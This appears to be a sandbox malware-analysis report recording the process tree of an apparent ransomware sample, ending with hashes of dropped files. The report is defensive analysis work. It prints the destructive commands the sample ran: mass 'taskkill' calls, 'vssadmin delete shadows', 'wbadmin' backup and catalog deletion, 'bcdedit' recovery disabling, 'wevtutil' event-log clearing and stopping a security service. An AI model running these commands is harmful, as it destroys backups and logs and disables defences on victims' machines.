C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4892
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2812
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4916
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1592
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4132
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4196
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5076
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4996
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2648
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3868
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4336
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3912
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4816
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4244
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4820
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2676
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4796
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3924
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4928
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5040
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3820
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4544
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4500
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3512
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3108
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3128
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3964
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4896
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2948
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3356
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5032
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1464
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4040
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1944
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3940
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4844
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1100
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2900
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3404
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3424
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3676
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2500
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4384
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4312
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4856
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4300
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3916
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3344
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2184
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4912
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2940
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3408
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5036
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1668
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4228
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4780
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3892
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3128
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3168
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2372
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3612
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3604
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3828
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3700
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3664
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4044
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3916
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3980
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4900
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4448
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4220
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1092
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Kills process with taskkill
PID:3576
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3344
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Kills process with taskkill
PID:3840
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Kills process with taskkill
PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4120
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4408
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4216
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:688
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4888
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2900
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3172
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3848
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3200
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2364
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3796
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3996
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2580
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4844
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4056
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3968
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3120
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5020
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2860
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4180
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3108
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:1444
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3128
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3504
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2292
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2344
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3812
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4748
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4768
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4336
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4032
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4560
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4708
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4936
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4644
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3288
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3984
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3076
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2500
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4396
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4776
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2056
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4664
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4996
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:4504
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:5096
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:2796
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im ps.exe4⤵PID:3144
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB"1⤵PID:2788
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3404
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB"1⤵PID:2824
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3420
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB"1⤵PID:2520
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3340
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB"1⤵PID:1284
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3308
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB"1⤵PID:2600
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3300
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB"1⤵PID:2184
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3212
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB"1⤵PID:2148
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3132
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB"1⤵PID:1384
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3260
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB"1⤵PID:2456
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3268
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB"1⤵PID:1100
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3276
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB"1⤵PID:2648
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3252
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"1⤵PID:2628
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3292
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB"1⤵PID:2580
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3108
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB"1⤵PID:2584
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3228
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wevtutil cl system"1⤵PID:2720
-
C:\Windows\SysWOW64\wevtutil.exewevtutil cl system2⤵
- Clears Windows event logs
PID:3772
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB"1⤵PID:2904
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3148
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB"1⤵PID:2696
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3080
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"1⤵PID:2900
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:1652
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"1⤵PID:2336
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:1772
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP"1⤵PID:1176
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB"1⤵PID:3016
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3236
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB"1⤵PID:2556
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3244
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"1⤵PID:2920
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wevtutil cl securit"1⤵PID:2908
-
C:\Windows\SysWOW64\wevtutil.exewevtutil cl securit2⤵
- Clears Windows event logs
PID:3180
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"1⤵PID:2716
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB"1⤵PID:2708
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3124
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB"1⤵PID:2848
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3316
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "bcdedit /set {default} recoveryenabled No"1⤵PID:2888
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wbadmin delete catalog -quiet"1⤵PID:2872
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB"1⤵PID:2868
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3284
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wevtutil cl application"1⤵PID:2692
-
C:\Windows\SysWOW64\wevtutil.exewevtutil cl application2⤵
- Clears Windows event logs
PID:3792
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB"1⤵PID:2712
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3172
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin delete shadows /all /quiet"1⤵PID:2420
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2108
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB"1⤵PID:2392
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:2000
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB"1⤵PID:2676
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:1620
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop TmWSCSvc /y"1⤵PID:2288
-
C:\Windows\SysWOW64\net.exenet stop TmWSCSvc /y2⤵PID:1604
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TmWSCSvc /y3⤵PID:2656
-
-
-
C:\Users\Admin\AppData\Local\Temp\0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe"C:\Users\Admin\AppData\Local\Temp\0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2240
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3928
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5536a9b94915e33fca69d3f028d42535d
SHA14ec50b5830caf0c63317584bcaea90919c7466a4
SHA2565a32509b6bab0f6cadf129ff0306b3b83479ec2069b51181f0a2f4726d35b722
SHA512c82dd21f9ce9ffbd95dd549351975c55a5a24d749d7bcf2b7b2cff1f5d9c395caa21f206a47e6a6a0a15db947b950a5b71bdf8dac61567a9e72f68d1cb0e4183
-
Filesize
5KB
MD577529ff2438a2bc12b4c9d139be9b35b
SHA1e3cd8faf863507afc25387216dec22c1b49e375d
SHA256bae77315727d5f37d89f65a2174d0851c72c13b19559b0e140db339b43bce833
SHA512a0d8d85e3fa240ed34f93e34bae500757adfb43b3364652e0d574a4763c78dd06bfd762e891125eb99bf29bd660a00d1ff0dfd7b39e8acec8d610237432e0196
-
Filesize
153B
MD514c076d137de7b5e22a3b332eca9ba10
SHA16ef5232ab33a5b53385198d988177cbca659c8b7
SHA256fab380ee0a48d7a1e89ae031e71cb598bbfe7798f770fa2ecfd45689e2b45c1f
SHA512a03251ad1eb6511d24e46a488823e7adfe0b4dc7a34b4cca10c4ade660f4e822b804378f3101bb55ea48d87870695e47fe0f375b941874e23a9b19933bc3ad67
-
Filesize
27B
MD5fbefc5a77b8c76671a6f14d911c61aba
SHA155de5df07a0f924f5f2dd652476974a9da998123
SHA25663792639414f6aa6ce50c8b9ed71074dede4543a42454f6bdc476ae805d41d7e
SHA51219a60603dee4556b5008fdb745ac0fb7c9c41c2cd2865a0b7ca797562728d51d70d261a6a6cbf850ac8d2ae995088d526fc363c1d4e8a74eb55f28ffe47a6c87
-
Filesize
27B
MD543d267cbb331c50104d769ab49faa738
SHA1116a9ed1ce6ff3c20975d64b787adf7ec31b70d6
SHA2560be25315b4772e7989b75f0769da50b78844141e8574811175ae3c2096074f11
SHA51291dad20fa68526c77eecb54d1b5476a2017be20f21f5c271f25225a3b298f4b80e32fda983864ee199cc09c8bb7e7bfd33c3bf9924858dbd891c16c9a5570a24
-
Filesize
27B
MD584a0ab927b3c775cd7951b4801c40e14
